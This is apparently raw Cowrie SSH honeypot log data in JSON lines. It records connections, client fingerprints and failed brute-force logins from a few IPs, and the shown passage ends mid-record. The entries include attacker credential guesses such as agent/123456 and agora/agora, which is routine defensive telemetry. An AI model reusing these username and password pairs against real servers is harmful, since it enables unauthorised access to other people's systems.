{"eventid":"cowrie.login.failed","username":"agatha","password":"agatha","message":"login attempt [agatha/agatha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:25.978039Z","src_ip":"159.203.92.129","session":"ea88b5d3d4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.092570Z","src_ip":"176.32.193.16","session":"4fa51da36a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":41880,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a82f27e41c","protocol":"ssh","message":"New connection: 176.32.193.16:41880 (10.17.0.5:22) [session: d0a82f27e41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.224499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.229330Z","src_ip":"176.32.193.16","session":"d0a82f27e41c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.363432Z","src_ip":"176.32.193.16","session":"d0a82f27e41c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":35778,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b47361495b2","protocol":"ssh","message":"New connection: 152.32.163.183:35778 (10.17.0.5:22) [session: 1b47361495b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.419161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.424118Z","src_ip":"152.32.163.183","session":"1b47361495b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.501930Z","src_ip":"176.32.193.16","session":"d0a82f27e41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:26.984357Z","src_ip":"159.203.92.129","session":"ea88b5d3d4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:27.634444Z","src_ip":"152.32.163.183","session":"1b47361495b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sys_admin","password":"sys_admin","message":"login attempt [sys_admin/sys_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:28.376921Z","src_ip":"152.32.163.183","session":"1b47361495b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:30.974728Z","src_ip":"152.32.163.183","session":"1b47361495b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:54.685809Z","src_ip":"152.32.163.183","session":"70ae23f53410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50052,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c83baf57f2e","protocol":"ssh","message":"New connection: 159.203.92.129:50052 (159.203.135.109:22) [session: 8c83baf57f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:07.972047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:07.976980Z","src_ip":"159.203.92.129","session":"8c83baf57f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:07.983256Z","src_ip":"159.203.92.129","session":"8c83baf57f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"123456","message":"login attempt [agent/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:07.996540Z","src_ip":"159.203.92.129","session":"8c83baf57f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:09.006159Z","src_ip":"159.203.92.129","session":"8c83baf57f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39192,"dst_ip":"159.203.135.109","dst_port":22,"session":"69221c9f1583","protocol":"ssh","message":"New connection: 159.203.92.129:39192 (159.203.135.109:22) [session: 69221c9f1583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:50.243006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:50.246951Z","src_ip":"159.203.92.129","session":"69221c9f1583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:50.250725Z","src_ip":"159.203.92.129","session":"69221c9f1583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:50.260676Z","src_ip":"159.203.92.129","session":"69221c9f1583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:47:51.267048Z","src_ip":"159.203.92.129","session":"69221c9f1583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44304,"dst_ip":"159.203.135.109","dst_port":22,"session":"468d60ac84a7","protocol":"ssh","message":"New connection: 159.203.92.129:44304 (159.203.135.109:22) [session: 468d60ac84a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:48:32.509070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:48:32.512830Z","src_ip":"159.203.92.129","session":"468d60ac84a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:48:32.516492Z","src_ip":"159.203.92.129","session":"468d60ac84a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agora","password":"123456","message":"login attempt [agora/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:48:32.526899Z","src_ip":"159.203.92.129","session":"468d60ac84a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:48:33.533725Z","src_ip":"159.203.92.129","session":"468d60ac84a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38520,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd41f5338799","protocol":"ssh","message":"New connection: 159.203.92.129:38520 (159.203.135.109:22) [session: cd41f5338799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:14.922728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:14.927613Z","src_ip":"159.203.92.129","session":"cd41f5338799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:14.932690Z","src_ip":"159.203.92.129","session":"cd41f5338799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agora","password":"agora","message":"login attempt [agora/agora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:14.944497Z","src_ip":"159.203.92.129","session":"cd41f5338799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:15.950970Z","src_ip":"159.203.92.129","session":"cd41f5338799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52932,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ebbf1e7c974","protocol":"ssh","message":"New connection: 159.203.92.129:52932 (159.203.135.109:22) [session: 8ebbf1e7c974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:58.245189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:58.250298Z","src_ip":"159.203.92.129","session":"8ebbf1e7c974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:58.257253Z","src_ip":"159.203.92.129","session":"8ebbf1e7c974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agp","password":"123","message":"login attempt [agp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:58.270798Z","src_ip":"159.203.92.129","session":"8ebbf1e7c974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:49:59.277918Z","src_ip":"159.203.92.129","session":"8ebbf1e7c974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54502,"dst_ip":"159.203.135.109","dst_port":22,"session":"7704bf019431","protocol":"ssh","message":"New connection: 159.203.92.129:54502 (159.203.135.109:22) [session: 7704bf019431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:50:44.600419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:50:44.605476Z","src_ip":"159.203.92.129","session":"7704bf019431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-ce